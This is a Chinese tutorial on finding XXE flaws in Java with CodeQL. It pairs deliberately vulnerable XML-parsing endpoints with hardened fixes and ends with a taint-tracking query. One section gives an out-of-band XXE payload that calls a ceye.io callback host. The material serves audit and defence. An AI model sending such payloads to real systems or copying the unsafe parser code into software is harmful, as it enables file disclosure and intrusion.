CodeQL进行JAVA代码审计(1) --- XXE漏洞的挖掘

原创

半月弧

修改于 2020-04-27 09:54:33

3.2K2

修改于 2020-04-27 09:54:33

文章被收录于专栏：半月弧のhome半月弧のhome

漏洞介绍：

XXE就是XML外部实体注入。当允许引用外部实体时，通过构造恶意内容，就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

漏洞成因：

Java有许多XML解析器，其中大多数容易受到XXE的攻击，因为它们的默认设置支持外部实体的解析。接下来我们构造一个QL query能够从下面的XML解析器列表中识别出带有漏洞的XML解析器。

javax.xml.parsers.DocumentBuilder

javax.xml.stream.XMLStreamReader

org.jdom.input.SAXBuilder

org.jdom2.input.SAXBuilder

javax.xml.parsers.SAXParser

org.dom4j.io.SAXReader

org.xml.sax.XMLReader

javax.xml.transform.sax.SAXSource

javax.xml.transform.TransformerFactory

javax.xml.transform.sax.SAXTransformerFactory

javax.xml.validation.SchemaFactory

javax.xml.bind.Unmarshaller

javax.xml.xpath.XPathExpression

代码解析

XMLReader

漏洞代码

使用默认的解析方法会存在XXE问题

@PostMapping("/xmlReader/vuln")
public String xmlReaderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
        xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
        return "xmlReader xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

修复方法

@RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST)
public String xmlReaderSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
        // fix code start
        xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
        xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        //fix code end
        xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml

    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }

    return "xmlReader xxe security code";
}

DocumentBuilderFactory

漏洞代码

在下面这个例子中调用了documentBuilder中的parse函数，该DocumentBuilder没有对不受信任的输入数据进行安全配置，所以造成了XXE漏洞

public void parse(Socket sock) throws Exception {
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  DocumentBuilder builder = factory.newDocumentBuilder();
  builder.parse(sock.getInputStream()); //unsafe
}

修复方法

下面我们看下如何在代码中避免XXE漏洞的攻击，在本例中，DocumentBuilder是在禁用DTD的情况下创建的，从而保护它不受XXE攻击。

public void disableDTDParse(Socket sock) throws Exception {
  DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
  //禁用XML中的DTD
  factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  DocumentBuilder builder = factory.newDocumentBuilder();
  builder.parse(sock.getInputStream()); //safe
}

SAXBuilder

漏洞代码

@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
public String SAXBuilderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXBuilder builder = new SAXBuilder();
        // org.jdom2.Document document
        builder.build(new InputSource(new StringReader(body)));  // cause xxe
        return "SAXBuilder xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

修复方法

@RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST)
public String SAXBuilderSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXBuilder builder = new SAXBuilder();
        builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
        builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        // org.jdom2.Document document
        builder.build(new InputSource(new StringReader(body)));

    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }

    return "SAXBuilder xxe security code";
}

SAXReader

漏洞代码

@RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
public String SAXReaderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXReader reader = new SAXReader();
        // org.dom4j.Document document
        reader.read(new InputSource(new StringReader(body))); // cause xxe

    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }

    return "SAXReader xxe vuln code";
}

修复方式

@RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST)
public String SAXReaderSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXReader reader = new SAXReader();
        reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
        reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        // org.dom4j.Document document
        reader.read(new InputSource(new StringReader(body)));
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "SAXReader xxe security code";
}

SAXParser

漏洞代码

@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXParserFactory spf = SAXParserFactory.newInstance();
        SAXParser parser = spf.newSAXParser();
        parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

        return "SAXParser xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

修复方式

@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        SAXParserFactory spf = SAXParserFactory.newInstance();
        spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
        spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        SAXParser parser = spf.newSAXParser();
        parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "SAXParser xxe security code";
}

Digester

漏洞代码

@RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
public String DigesterVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        Digester digester = new Digester();
        digester.parse(new StringReader(body));  // parse xml
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "Digester xxe vuln code";
}

修复方式

@RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
public String DigesterSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        Digester digester = new Digester();
        digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
        digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        digester.parse(new StringReader(body));  // parse xml

        return "Digester xxe security code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

DocumentBuilder

漏洞代码

@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        StringReader sr = new StringReader(body);
        InputSource is = new InputSource(sr);
        Document document = db.parse(is);  // parse xml

        // 遍历xml节点name和value
        StringBuilder buf = new StringBuilder();
        NodeList rootNodeList = document.getChildNodes();
        for (int i = 0; i < rootNodeList.getLength(); i++) {
            Node rootNode = rootNodeList.item(i);
            NodeList child = rootNode.getChildNodes();
            for (int j = 0; j < child.getLength(); j++) {
                Node node = child.item(j);
                buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
            }
        }
        sr.close();
        return buf.toString();
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

修复方式

@RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST)
public String DocumentBuilderSec(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);

        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        DocumentBuilder db = dbf.newDocumentBuilder();
        StringReader sr = new StringReader(body);
        InputSource is = new InputSource(sr);
        db.parse(is);  // parse xml
        sr.close();
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "DocumentBuilder xxe security code";
}

DocumentHelper

漏洞代码

@PostMapping("/DocumentHelper/vuln")
public String DocumentHelper(HttpServletRequest req) {
    try {
        String body = WebUtils.getRequestBody(req);
        DocumentHelper.parseText(body); // parse xml
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }

    return "DocumentHelper xxe vuln code";
}

修复方式

复该漏洞只需升级dom4j到2.1.1及以上，该版本及以上禁用了ENTITY；
不带ENTITY的PoC不能利用，所以禁用ENTITY即可完成修复。

漏洞利用和回显

在这里我们使用知道创宇的漏洞回显平台http://ceye.io/

首先我们从profile里得到下面的数据：

然后拼装自己的payload，用identifier替换xxxxxx

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxxxxx.ceye.io/xxe_test">
%remote;]>
<root/>

发送数据包：

查看tomcat的日志记录,可以看到XML DTD中包含的命令被执行：

在平台上观察回显记录

QL语法找出XXE漏洞

先给出整个Query语句，因为造成XXE漏洞的组建较多，下面我们选一个比较常用的SAXParser的组建

/**
 * @name Resolving XML external entity in user-controlled data
 * @description Parsing user-controlled XML documents and allowing expansion of external entity
 * references may lead to disclosure of confidential data or denial of service.
 * @kind path-problem
 * @problem.severity error
 * @precision high
 * @id java/xxe
 * @tags security
 *       external/cwe/cwe-611
 */

import java
import semmle.code.java.security.XmlParsers
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow::PathGraph

class SafeSAXSourceFlowConfig extends TaintTracking2::Configuration {
  SafeSAXSourceFlowConfig() { this = "XmlParsers::SafeSAXSourceFlowConfig" }

  override predicate isSource(DataFlow::Node src) { src.asExpr() instanceof SafeSAXSource }

  override predicate isSink(DataFlow::Node sink) {
    sink.asExpr() = any(XmlParserCall parse).getSink()
  }

  override int fieldFlowBranchLimit() { result = 0 }
}

class UnsafeXxeSink extends DataFlow::ExprNode {
  UnsafeXxeSink() {
    not exists(SafeSAXSourceFlowConfig safeSource | safeSource.hasFlowTo(this)) and
    exists(XmlParserCall parse |
      parse.getSink() = this.getExpr() and
      not parse.isSafe()
    )
  }
}

class XxeConfig extends TaintTracking::Configuration {
  XxeConfig() { this = "XXE.ql::XxeConfig" }

  override predicate isSource(DataFlow::Node src) { src instanceof RemoteFlowSource }

  override predicate isSink(DataFlow::Node sink) { sink instanceof UnsafeXxeSink }
}

from DataFlow::PathNode source, DataFlow::PathNode sink, XxeConfig conf
where conf.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "Unsafe parsing of XML file from $@.", source.getNode(),
  "user input"

Query部分	目的	具体描述
import java	导入java标准库	每个查询都以一个或多个import语句开始
import semmle.code.java.security.XmlParsers	导入XML解析器module	提供用于在Java中建模XML解析器的类和谓词
import semmle.code.java.dataflow.FlowSources	污点追踪	提供表示污染跟踪的各种流源的类
import semmle.code.java.dataflow.TaintTracking2	污点分析	提供用于执行局部(过程内)和全局(过程间)污染跟踪分析的类。
import DataFlow::PathGraph	数据流追踪